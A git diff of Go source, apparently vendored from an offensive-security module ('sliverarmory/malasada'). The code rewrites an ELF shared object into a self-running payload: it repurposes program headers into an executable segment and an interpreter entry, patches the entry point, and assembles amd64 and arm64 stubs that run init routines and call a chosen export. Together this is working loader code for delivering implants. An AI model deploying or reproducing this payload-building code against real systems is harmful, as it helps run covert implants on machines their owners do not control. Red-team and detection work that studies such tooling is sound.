|
copy(h.ident[:], b[:16])
|
||||||
|
if h.ident[0] != 0x7f || h.ident[1] != 'E' || h.ident[2] != 'L' || h.ident[3] != 'F' {
|
||||||
|
return nil, errBadELF
|
||||||
|
}
|
||||||
|
if h.ident[4] != 2 { // ELFCLASS64
|
||||||
|
return nil, fmt.Errorf("%w: not ELF64", errBadELF)
|
||||||
|
}
|
||||||
|
if h.ident[5] != 1 { // ELFDATA2LSB
|
||||||
|
return nil, fmt.Errorf("%w: not little-endian", errBadELF)
|
||||||
|
}
|
||||||
|
h.typ = binary.LittleEndian.Uint16(b[16:18])
|
||||||
|
h.machine = binary.LittleEndian.Uint16(b[18:20])
|
||||||
|
h.version = binary.LittleEndian.Uint32(b[20:24])
|
||||||
|
h.entry = binary.LittleEndian.Uint64(b[24:32])
|
||||||
|
h.phoff = binary.LittleEndian.Uint64(b[32:40])
|
||||||
|
h.shoff = binary.LittleEndian.Uint64(b[40:48])
|
||||||
|
h.flags = binary.LittleEndian.Uint32(b[48:52])
|
||||||
|
h.ehsize = binary.LittleEndian.Uint16(b[52:54])
|
||||||
|
h.phentsize = binary.LittleEndian.Uint16(b[54:56])
|
||||||
|
h.phnum = binary.LittleEndian.Uint16(b[56:58])
|
||||||
|
h.shentsize = binary.LittleEndian.Uint16(b[58:60])
|
||||||
|
h.shnum = binary.LittleEndian.Uint16(b[60:62])
|
||||||
|
h.shstrndx = binary.LittleEndian.Uint16(b[62:64])
|
||||||
|
|
||||||
|
h._entryOff = 24
|
||||||
|
h._phoffOff = 32
|
||||||
|
h._phentsOff = 54
|
||||||
|
h._phnumOff = 56
|
||||||
|
|
||||||
|
if h.ehsize != elf64HeaderSize {
|
||||||
|
return nil, fmt.Errorf("%w: unexpected ehsize %d", errBadELF, h.ehsize)
|
||||||
|
}
|
||||||
|
if h.phentsize != elf64PhdrSize {
|
||||||
|
return nil, fmt.Errorf("%w: unexpected phentsize %d", errBadELF, h.phentsize)
|
||||||
|
}
|
||||||
|
if h.phoff == 0 || h.phnum == 0 {
|
||||||
|
return nil, fmt.Errorf("%w: missing program headers", errBadELF)
|
||||||
|
}
|
||||||
|
phEnd := h.phoff + uint64(h.phnum)*uint64(h.phentsize)
|
||||||
|
if phEnd > uint64(len(b)) {
|
||||||
|
return nil, fmt.Errorf("%w: phdrs outside file", errBadELF)
|
||||||
|
}
|
||||||
|
return &h, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseELF64Phdrs(b []byte, h *elf64Ehdr) ([]elf64Phdr, error) {
|
||||||
|
out := make([]elf64Phdr, 0, h.phnum)
|
||||||
|
off := int(h.phoff)
|
||||||
|
for i := 0; i < int(h.phnum); i++ {
|
||||||
|
p := b[off+i*elf64PhdrSize : off+(i+1)*elf64PhdrSize]
|
||||||
|
ph := elf64Phdr{
|
||||||
|
typ: binary.LittleEndian.Uint32(p[0:4]),
|
||||||
|
flags: binary.LittleEndian.Uint32(p[4:8]),
|
||||||
|
off: binary.LittleEndian.Uint64(p[8:16]),
|
||||||
|
vaddr: binary.LittleEndian.Uint64(p[16:24]),
|
||||||
|
paddr: binary.LittleEndian.Uint64(p[24:32]),
|
||||||
|
filesz: binary.LittleEndian.Uint64(p[32:40]),
|
||||||
|
memsz: binary.LittleEndian.Uint64(p[40:48]),
|
||||||
|
align: binary.LittleEndian.Uint64(p[48:56]),
|
||||||
|
fileOff: off + i*elf64PhdrSize,
|
||||||
|
}
|
||||||
|
out = append(out, ph)
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeELF64Entry(b []byte, entry uint64) {
|
||||||
|
binary.LittleEndian.PutUint64(b[24:32], entry)
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeELF64Phdr(b []byte, ph elf64Phdr) {
|
||||||
|
p := b[ph.fileOff : ph.fileOff+elf64PhdrSize]
|
||||||
|
binary.LittleEndian.PutUint32(p[0:4], ph.typ)
|
||||||
|
binary.LittleEndian.PutUint32(p[4:8], ph.flags)
|
||||||
|
binary.LittleEndian.PutUint64(p[8:16], ph.off)
|
||||||
|
binary.LittleEndian.PutUint64(p[16:24], ph.vaddr)
|
||||||
|
binary.LittleEndian.PutUint64(p[24:32], ph.paddr)
|
||||||
|
binary.LittleEndian.PutUint64(p[32:40], ph.filesz)
|
||||||
|
binary.LittleEndian.PutUint64(p[40:48], ph.memsz)
|
||||||
|
binary.LittleEndian.PutUint64(p[48:56], ph.align)
|
||||||
|
}
|
||||||
|
|
||||||
|
// swapELF64PhdrContents swaps the payload-relevant fields of a and b, but keeps
|
||||||
|
// their fileOff values unchanged (fileOff represents the slot/location in the
|
||||||
|
// program header table).
|
||||||
|
func swapELF64PhdrContents(a, b *elf64Phdr) {
|
||||||
|
a.typ, b.typ = b.typ, a.typ
|
||||||
|
a.flags, b.flags = b.flags, a.flags
|
||||||
|
a.off, b.off = b.off, a.off
|
||||||
|
a.vaddr, b.vaddr = b.vaddr, a.vaddr
|
||||||
|
a.paddr, b.paddr = b.paddr, a.paddr
|
||||||
|
a.filesz, b.filesz = b.filesz, a.filesz
|
||||||
|
a.memsz, b.memsz = b.memsz, a.memsz
|
||||||
|
a.align, b.align = b.align, a.align
|
||||||
|
}
|
||||||
|
|
||||||
|
func alignUp(x, align uint64) uint64 {
|
||||||
|
if align == 0 {
|
||||||
|
return x
|
||||||
|
}
|
||||||
|
return (x + (align - 1)) &^ (align - 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
func patchSOToCallExport(so []byte, exportName string) (Arch, []byte, error) {
|
||||||
|
// Use debug/elf for symbol resolution (parsing only).
|
||||||
|
f, err := elf.NewFile(bytes.NewReader(so))
|
||||||
|
if err != nil {
|
||||||
|
return ArchUnknown, nil, err
|
||||||
|
}
|
||||||
|
if f.Class != elf.ELFCLASS64 || f.Data != elf.ELFDATA2LSB {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("unsupported ELF (need 64-bit little-endian)")
|
||||||
|
}
|
||||||
|
if f.Type != elf.ET_DYN {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("expected ET_DYN (.so), got %v", f.Type)
|
||||||
|
}
|
||||||
|
|
||||||
|
arch, err := archFromELFMachine(f.Machine)
|
||||||
|
if err != nil {
|
||||||
|
return ArchUnknown, nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
dynSyms, err := f.DynamicSymbols()
|
||||||
|
if err != nil {
|
||||||
|
return ArchUnknown, nil, err
|
||||||
|
}
|
||||||
|
var exportVaddr uint64
|
||||||
|
found := false
|
||||||
|
for _, s := range dynSyms {
|
||||||
|
if s.Name == exportName {
|
||||||
|
exportVaddr = s.Value
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("export %q not found in .dynsym", exportName)
|
||||||
|
}
|
||||||
|
|
||||||
|
h, err := parseELF64Header(so)
|
||||||
|
if err != nil {
|
||||||
|
return ArchUnknown, nil, err
|
||||||
|
}
|
||||||
|
if elf.Type(h.typ) != elf.ET_DYN {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("%w: not ET_DYN", errBadELF)
|
||||||
|
}
|
||||||
|
if elf.Machine(h.machine) != f.Machine {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("%w: machine mismatch", errBadELF)
|
||||||
|
}
|
||||||
|
phdrs, err := parseELF64Phdrs(so, h)
|
||||||
|
if err != nil {
|
||||||
|
return ArchUnknown, nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Find a program header we can repurpose into a new executable PT_LOAD for the entry stub.
|
||||||
|
stubPhIdx := -1
|
||||||
|
for i := range phdrs {
|
||||||
|
if phdrs[i].typ == ptNote {
|
||||||
|
stubPhIdx = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if stubPhIdx < 0 {
|
||||||
|
for i := range phdrs {
|
||||||
|
if phdrs[i].typ == ptGnuEhFrame {
|
||||||
|
stubPhIdx = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if stubPhIdx < 0 {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("no suitable program header to repurpose (need PT_NOTE or PT_GNU_EH_FRAME)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Find a program header we can repurpose into PT_INTERP so glibc's dynamic
|
||||||
|
// loader treats the payload like a normal PIE executable.
|
||||||
|
interpPhIdx := -1
|
||||||
|
for i := range phdrs {
|
||||||
|
if i == stubPhIdx {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if phdrs[i].typ == ptGnuStack {
|
||||||
|
interpPhIdx = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if interpPhIdx < 0 {
|
||||||
|
for i := range phdrs {
|
||||||
|
if i == stubPhIdx {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// Fall back to repurposing another low-value header if needed.
|
||||||
|
if phdrs[i].typ == ptNote || phdrs[i].typ == ptGnuEhFrame {
|
||||||
|
interpPhIdx = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if interpPhIdx < 0 {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("no suitable program header to repurpose for PT_INTERP (need PT_GNU_STACK, PT_NOTE, or PT_GNU_EH_FRAME)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure the payload has a PT_PHDR entry. Some glibc rtld code paths rely on
|
||||||
|
// this when computing the executable's load bias.
|
||||||
|
phdrIdx := -1
|
||||||
|
for i := range phdrs {
|
||||||
|
if phdrs[i].typ == ptPhdr {
|
||||||
|
phdrIdx = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
phdrPhIdx := -1
|
||||||
|
if phdrIdx < 0 {
|
||||||
|
for i := range phdrs {
|
||||||
|
if i == stubPhIdx || i == interpPhIdx {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if phdrs[i].typ == ptGnuEhFrame {
|
||||||
|
phdrPhIdx = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if phdrPhIdx < 0 {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("no suitable program header to repurpose for PT_PHDR (need PT_PHDR or PT_GNU_EH_FRAME)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var maxVaddrEnd uint64
|
||||||
|
var maxAlign uint64 = 0x1000
|
||||||
|
var dynPh *elf64Phdr
|
||||||
|
for i := range phdrs {
|
||||||
|
ph := &phdrs[i]
|
||||||
|
if ph.typ == ptLoad {
|
||||||
|
end := ph.vaddr + ph.memsz
|
||||||
|
if end > maxVaddrEnd {
|
||||||
|
maxVaddrEnd = end
|
||||||
|
}
|
||||||
|
if ph.align > maxAlign {
|
||||||
|
maxAlign = ph.align
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ph.typ == ptDynamic {
|
||||||
|
dynPh = ph
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if maxVaddrEnd == 0 {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("%w: no PT_LOAD segments", errBadELF)
|
||||||
|
}
|
||||||
|
if dynPh == nil {
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("%w: no PT_DYNAMIC segment", errBadELF)
|
||||||
|
}
|
||||||
|
|
||||||
|
stubFileOff := alignUp(uint64(len(so)), maxAlign)
|
||||||
|
stubVaddr := alignUp(maxVaddrEnd, maxAlign)
|
||||||
|
|
||||||
|
initVaddrs, err := extractInitVaddrs(so, phdrs, *dynPh)
|
||||||
|
if err != nil {
|
||||||
|
return ArchUnknown, nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Append padding then the entry stub itself.
|
||||||
|
so2 := make([]byte, 0, int(stubFileOff)+1024)
|
||||||
|
so2 = append(so2, so...)
|
||||||
|
if pad := int(stubFileOff) - len(so2); pad > 0 {
|
||||||
|
so2 = append(so2, bytes.Repeat([]byte{0}, pad)...)
|
||||||
|
}
|
||||||
|
|
||||||
|
stub, err := makeEntryStub(arch, stubVaddr, exportVaddr, initVaddrs)
|
||||||
|
if err != nil {
|
||||||
|
return ArchUnknown, nil, err
|
||||||
|
}
|
||||||
|
so2 = append(so2, stub...)
|
||||||
|
|
||||||
|
// Add a PT_INTERP string (within the stub PT_LOAD) so glibc ld-linux treats
|
||||||
|
// the payload like a normal executable (needed for some rtld invariants).
|
||||||
|
interpPath := ""
|
||||||
|
switch arch {
|
||||||
|
case ArchLinuxAMD64:
|
||||||
|
interpPath = "/lib64/ld-linux-x86-64.so.2"
|
||||||
|
case ArchLinuxARM64:
|
||||||
|
interpPath = "/lib/ld-linux-aarch64.so.1"
|
||||||
|
default:
|
||||||
|
return ArchUnknown, nil, fmt.Errorf("unsupported arch %v", arch)
|
||||||
|
}
|
||||||
|
interpStr := append([]byte(interpPath), 0)
|
||||||
|
interpFileOff := uint64(len(so2))
|
||||||
|
interpVaddr := stubVaddr + uint64(len(stub))
|
||||||
|
so2 = append(so2, interpStr...)
|
||||||
|
|
||||||
|
// Convert the selected phdr into our stub PT_LOAD.
|
||||||
|
stubPh := phdrs[stubPhIdx]
|
||||||
|
stubPh.typ = ptLoad
|
||||||
|
stubPh.flags = pfR | pfX
|
||||||
|
stubPh.off = stubFileOff
|
||||||
|
stubPh.vaddr = stubVaddr
|
||||||
|
stubPh.paddr = stubVaddr
|
||||||
|
stubPh.filesz = uint64(len(stub) + len(interpStr))
|
||||||
|
stubPh.memsz = uint64(len(stub) + len(interpStr))
|
||||||
|
stubPh.align = maxAlign
|
||||||
|
phdrs[stubPhIdx] = stubPh
|
||||||
|
|
||||||
|
// Repurpose another phdr into PT_INTERP.
|
||||||
|
interpPh := phdrs[interpPhIdx]
|
||||||
|
interpPh.typ = ptInterp
|
||||||
|
interpPh.flags = pfR
|
||||||
|
interpPh.off = interpFileOff
|
||||||
|
interpPh.vaddr = interpVaddr
|
||||||
|
interpPh.paddr = interpVaddr
|
||||||
|
interpPh.filesz = uint64(len(interpStr))
|
||||||
|
interpPh.memsz = uint64(len(interpStr))
|
||||||
|
interpPh.align = 1
|
||||||
|
phdrs[interpPhIdx] = interpPh
|
||||||
|
|
||||||
|
// Add PT_PHDR if we had to repurpose one, and ensure it is the first phdr.
|
||||||
|
if phdrPhIdx >= 0 {
|
||||||
|
phdrPh := phdrs[phdrPhIdx]
|
||||||
|
phdrPh.typ = ptPhdr
|
||||||
|
phdrPh.flags = pfR
|
||||||
|
phdrPh.off = h.phoff
|
||||||
|
phdrPh.vaddr = h.phoff
|
||||||
|
phdrPh.paddr = h.phoff
|
||||||
|
phdrPh.filesz = uint64(h.phnum) * uint64(h.phentsize)
|
||||||
|
phdrPh.memsz = phdrPh.filesz
|
||||||
|
phdrPh.align = 8
|
||||||
|
phdrs[phdrPhIdx] = phdrPh
|
||||||
|
phdrIdx = phdrPhIdx
|
||||||
|
}
|
||||||
|
if phdrIdx >= 0 && phdrIdx != 0 {
|
||||||
|
// glibc's rtld startup code expects to discover the load bias from PT_PHDR
|
||||||
|
// before processing PT_DYNAMIC for the main program. Put PT_PHDR in slot 0
|
||||||
|
// to match normal PIE executables.
|
||||||
|
swapELF64PhdrContents(&phdrs[0], &phdrs[phdrIdx])
|
||||||
|
phdrIdx = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// Patch e_entry to point at the stub.
|
||||||
|
writeELF64Entry(so2, stubVaddr)
|
||||||
|
|
||||||
|
// Write back all program headers (some are repurposed/reordered above).
|
||||||
|
for i := range phdrs {
|
||||||
|
writeELF64Phdr(so2, phdrs[i])
|
||||||
|
}
|
||||||
|
|
||||||
|
// Patch DT_FLAGS_1 |= DF_1_PIE if present.
|
||||||
|
if err := patchDTFlags1Pie(so2, *dynPh); err != nil {
|
||||||
|
return ArchUnknown, nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return arch, so2, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func patchDTFlags1Pie(so []byte, dynPh elf64Phdr) error {
|
||||||
|
// dynPh.off points to the dynamic entries in the file.
|
||||||
|
if dynPh.off+dynPh.filesz > uint64(len(so)) {
|
||||||
|
return fmt.Errorf("%w: PT_DYNAMIC outside file", errBadELF)
|
||||||
|
}
|
||||||
|
dyn := so[dynPh.off : dynPh.off+dynPh.filesz]
|
||||||
|
if len(dyn)%16 != 0 {
|
||||||
|
// Not fatal; still try to parse what we can.
|
||||||
|
}
|
||||||
|
for off := 0; off+16 <= len(dyn); off += 16 {
|
||||||
|
tag := int64(binary.LittleEndian.Uint64(dyn[off : off+8]))
|
||||||
|
val := binary.LittleEndian.Uint64(dyn[off+8 : off+16])
|
||||||
|
if tag == dtNull {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if uint64(tag) == dtFlags1 {
|
||||||
|
val |= df1Pie
|
||||||
|
binary.LittleEndian.PutUint64(dyn[off+8:off+16], val)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// If there's no DT_FLAGS_1, we still proceed; glibc will treat it as a normal
|
||||||
|
// shared object, but for our exec-like jump into ld-linux we primarily need
|
||||||
|
// a non-zero e_entry.
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func vaddrToFileOff(phdrs []elf64Phdr, vaddr uint64, size uint64) (uint64, error) {
|
||||||
|
for i := range phdrs {
|
||||||
|
ph := phdrs[i]
|
||||||
|
if ph.typ != ptLoad {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// For file-backed data (like init arrays), we need it to be within the
|
||||||
|
// segment's file image, not just its in-memory range.
|
||||||
|
if vaddr < ph.vaddr || vaddr+size > ph.vaddr+ph.filesz {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
off := ph.off + (vaddr - ph.vaddr)
|
||||||
|
return off, nil
|
||||||
|
}
|
||||||
|
return 0, fmt.Errorf("%w: vaddr 0x%x not in any PT_LOAD file range", errBadELF, vaddr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func extractInitVaddrs(so []byte, phdrs []elf64Phdr, dynPh elf64Phdr) ([]uint64, error) {
|
||||||
|
// dynPh.off points to the dynamic entries in the file.
|
||||||
|
if dynPh.off+dynPh.filesz > uint64(len(so)) {
|
||||||
|
return nil, fmt.Errorf("%w: PT_DYNAMIC outside file", errBadELF)
|
||||||
|
}
|
||||||
|
dyn := so[dynPh.off : dynPh.off+dynPh.filesz]
|
||||||
|
|
||||||
|
var (
|
||||||
|
initVaddr uint64
|
||||||
|
preinitArrayVaddr uint64
|
||||||
|
preinitArraySz uint64
|
||||||
|
initArrayVaddr uint64
|
||||||
|
initArraySz uint64
|
||||||
|
)
|
||||||
|
|
||||||
|
for off := 0; off+16 <= len(dyn); off += 16 {
|
||||||
|
tag := int64(binary.LittleEndian.Uint64(dyn[off : off+8]))
|
||||||
|
val := binary.LittleEndian.Uint64(dyn[off+8 : off+16])
|
||||||
|
if tag == dtNull {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
switch uint64(tag) {
|
||||||
|
case dtInit:
|
||||||
|
initVaddr = val
|
||||||
|
case dtPreinitArray:
|
||||||
|
preinitArrayVaddr = val
|
||||||
|
case dtPreinitArraySz:
|
||||||
|
preinitArraySz = val
|
||||||
|
case dtInitArray:
|
||||||
|
initArrayVaddr = val
|
||||||
|
case dtInitArraySz:
|
||||||
|
initArraySz = val
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
readPtrArray := func(arrayVaddr, arraySz uint64) ([]uint64, error) {
|
||||||
|
if arrayVaddr == 0 || arraySz == 0 {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
if arraySz%8 != 0 {
|
||||||
|
return nil, fmt.Errorf("%w: init array size 0x%x not 8-byte aligned", errBadELF, arraySz)
|
||||||
|
}
|
||||||
|
fileOff, err := vaddrToFileOff(phdrs, arrayVaddr, arraySz)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if fileOff+arraySz > uint64(len(so)) {
|
||||||
|
return nil, fmt.Errorf("%w: init array outside file", errBadELF)
|
||||||
|
}
|
||||||
|
b := so[fileOff : fileOff+arraySz]
|
||||||
|
out := make([]uint64, 0, arraySz/8)
|
||||||
|
for i := uint64(0); i < arraySz; i += 8 {
|
||||||
|
ptr := binary.LittleEndian.Uint64(b[i : i+8])
|
||||||
|
if ptr != 0 {
|
||||||
|
out = append(out, ptr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var initCalls []uint64
|
||||||
|
// Match glibc's overall ordering:
|
||||||
|
// - DT_PREINIT_ARRAY (executables)
|
||||||
|
// - DT_INIT
|
||||||
|
// - DT_INIT_ARRAY
|
||||||
|
pre, err := readPtrArray(preinitArrayVaddr, preinitArraySz)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
initCalls = append(initCalls, pre...)
|
||||||
|
|
||||||
|
if initVaddr != 0 {
|
||||||
|
initCalls = append(initCalls, initVaddr)
|
||||||
|
}
|
||||||
|
|
||||||
|
initArr, err := readPtrArray(initArrayVaddr, initArraySz)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
initCalls = append(initCalls, initArr...)
|
||||||
|
|
||||||
|
return initCalls, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func makeEntryStub(arch Arch, stubVaddr uint64, exportVaddr uint64, initVaddrs []uint64) ([]byte, error) {
|
||||||
|
switch arch {
|
||||||
|
case ArchLinuxAMD64:
|
||||||
|
return makeStubAMD64(stubVaddr, exportVaddr, initVaddrs)
|
||||||
|
case ArchLinuxARM64:
|
||||||
|
return makeStubARM64(stubVaddr, exportVaddr, initVaddrs)
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("unsupported arch %v", arch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func makeStubAMD64(stubVaddr uint64, exportVaddr uint64, initVaddrs []uint64) ([]byte, error) {
|
||||||
|
if stubVaddr+5 > 0xffffffff {
|
||||||
|
// Keep the encoding simple (sub imm32).
|
||||||
|
return nil, fmt.Errorf("stub vaddr too large for amd64 stub encoding")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Assemble the stub from textual assembly to keep it readable and reduce
|
||||||
|
// manual byte encoding errors. We use explicit forms (like movabs) to keep
|
||||||
|
// output byte-for-byte compatible with the historical encoding.
|
||||||
|
var sb strings.Builder
|
||||||
|
sb.WriteString(".code64\n")
|
||||||
|
|
||||||
|
// Base computation:
|
||||||
|
// call next; pop rbx; sub rbx, (stub_vaddr+5) => rbx becomes the module base.
|
||||||
|
// rbx = (retaddr == stub+5) - (stub_vaddr+5)
|
||||||
|
sb.WriteString("call 5\n")
|
||||||
|
sb.WriteString("pop rbx\n")
|
||||||
|
fmt.Fprintf(&sb, "sub rbx, 0x%X\n", stubVaddr+5)
|
||||||
|
|
||||||
|
// Preserve entry stack pointer and compute (argc, argv, envp) once.
|
||||||
|
// r15 = entry_rsp
|
||||||
|
// r12 = argc
|
||||||
|
// r13 = argv
|
||||||
|
// r14 = envp
|
||||||
|
sb.WriteString("mov r15, rsp\n")
|
||||||
|
sb.WriteString("mov r12, [r15]\n")
|
||||||
|
sb.WriteString("lea r13, [r15+8]\n")
|
||||||
|
sb.WriteString("mov rcx, r12\n")
|
||||||
|
sb.WriteString("add rcx, 2\n")
|
||||||
|
sb.WriteString("shl rcx, 3\n")
|
||||||
|
sb.WriteString("lea r14, [r15+rcx]\n")
|
||||||
|
|
||||||
|
// Call init functions (DT_PREINIT_ARRAY/DT_INIT/DT_INIT_ARRAY).
|
||||||
|
for _, vaddr := range initVaddrs {
|
||||||
|
if vaddr == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// rdi = argc, rsi = argv, rdx = envp
|
||||||
|
sb.WriteString("mov rdi, r12\n")
|
||||||
|
sb.WriteString("mov rsi, r13\n")
|
||||||
|
sb.WriteString("mov rdx, r14\n")
|
||||||
|
fmt.Fprintf(&sb, "movabs rax, 0x%X\n", vaddr)
|
||||||
|
sb.WriteString("add rax, rbx\n")
|
||||||
|
sb.WriteString("call rax\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call the requested export (no args).
|
||||||
|
fmt.Fprintf(&sb, "movabs rax, 0x%X\n", exportVaddr)
|
||||||
|
sb.WriteString("add rax, rbx\n")
|
||||||
|
sb.WriteString("call rax\n")
|
||||||
|
|
||||||
|
// exit_group(0)
|
||||||
|
sb.WriteString("mov eax, 231\n")
|
||||||
|
sb.WriteString("xor edi, edi\n")
|
||||||
|
sb.WriteString("syscall\n")
|
||||||
|
|
||||||
|
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer func() { _ = engine.Close() }()
|
||||||
|
if err := engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return engine.Assemble(sb.String(), 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
func makeStubARM64(stubVaddr uint64, exportVaddr uint64, initVaddrs []uint64) ([]byte, error) {
|
||||||
|
// See internal notes in stage0: x19 = stub_start; base = x19 - stub_vaddr.
|
||||||
|
// Then call init functions (DT_INIT/DT_INIT_ARRAY) and the requested export.
|
||||||
|
|
||||||
|
var sb strings.Builder
|
||||||
|
sb.WriteString("stub_start:\n")
|
||||||
|
sb.WriteString("adr x19, stub_start\n")
|
||||||
|
|
||||||
|
// x20 = stub_vaddr
|
||||||
|
fmt.Fprintf(&sb, "movz x20, #0x%X\n", uint16(stubVaddr>>0))
|
||||||
|
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #16\n", uint16(stubVaddr>>16))
|
||||||
|
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #32\n", uint16(stubVaddr>>32))
|
||||||
|
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #48\n", uint16(stubVaddr>>48))
|
||||||
|
sb.WriteString("sub x19, x19, x20\n")
|
||||||
|
|
||||||
|
// Compute (argc, argv, envp) from the entry stack.
|
||||||
|
// x21 = argc
|
||||||
|
// x22 = argv (points to argv[0])
|
||||||
|
// x23 = envp
|
||||||
|
sb.WriteString("ldr x21, [sp]\n")
|
||||||
|
sb.WriteString("add x22, sp, #8\n")
|
||||||
|
sb.WriteString("add x23, x22, x21, lsl #3\n")
|
||||||
|
sb.WriteString("add x23, x23, #8\n")
|
||||||
|
|
||||||
|
// Call init functions (DT_PREINIT_ARRAY/DT_INIT/DT_INIT_ARRAY).
|
||||||
|
for _, vaddr := range initVaddrs {
|
||||||
|
if vaddr == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
sb.WriteString("mov x0, x21\n")
|
||||||
|
sb.WriteString("mov x1, x22\n")
|
||||||
|
sb.WriteString("mov x2, x23\n")
|
||||||
|
fmt.Fprintf(&sb, "movz x20, #0x%X\n", uint16(vaddr>>0))
|
||||||
|
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #16\n", uint16(vaddr>>16))
|
||||||
|
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #32\n", uint16(vaddr>>32))
|
||||||
|
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #48\n", uint16(vaddr>>48))
|
||||||
|
sb.WriteString("add x16, x19, x20\n")
|
||||||
|
sb.WriteString("blr x16\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call the requested export (no args).
|
||||||
|
fmt.Fprintf(&sb, "movz x20, #0x%X\n", uint16(exportVaddr>>0))
|
||||||
|
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #16\n", uint16(exportVaddr>>16))
|
||||||
|
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #32\n", uint16(exportVaddr>>32))
|
||||||
|
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #48\n", uint16(exportVaddr>>48))
|
||||||
|
sb.WriteString("add x16, x19, x20\n")
|
||||||
|
sb.WriteString("blr x16\n")
|
||||||
|
|
||||||
|
// exit_group(0)
|
||||||
|
sb.WriteString("movz x8, #94\n")
|
||||||
|
sb.WriteString("movz x0, #0\n")
|
||||||
|
sb.WriteString("svc #0\n")
|
||||||
|
|
||||||
|
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer func() { _ = engine.Close() }()
|
||||||
|
return engine.Assemble(sb.String(), 0)
|
||||||
|
}
|
||||||
Vendored
+4
@@ -1270,6 +1270,10 @@ github.com/slack-go/slack/slackutilsx
|
|||||||
github.com/sliverarmory/beignet
|
github.com/sliverarmory/beignet
|
||||||
github.com/sliverarmory/beignet/internal/aplib
|
github.com/sliverarmory/beignet/internal/aplib
|
||||||
github.com/sliverarmory/beignet/internal/stager
|
github.com/sliverarmory/beignet/internal/stager
|
||||||
|
# github.com/sliverarmory/malasada v0.0.2
|
||||||
|
## explicit; go 1.25.6
|
||||||
|
github.com/sliverarmory/malasada
|
||||||
|
github.com/sliverarmory/malasada/internal/aplib
|
||||||
# github.com/sliverarmory/wasm-donut v0.0.3
|
# github.com/sliverarmory/wasm-donut v0.0.3
|
||||||
## explicit; go 1.25.6
|
## explicit; go 1.25.6
|
||||||
github.com/sliverarmory/wasm-donut
|
github.com/sliverarmory/wasm-donut
|
||||||
|
|||||||
Reference in new issue
Block a user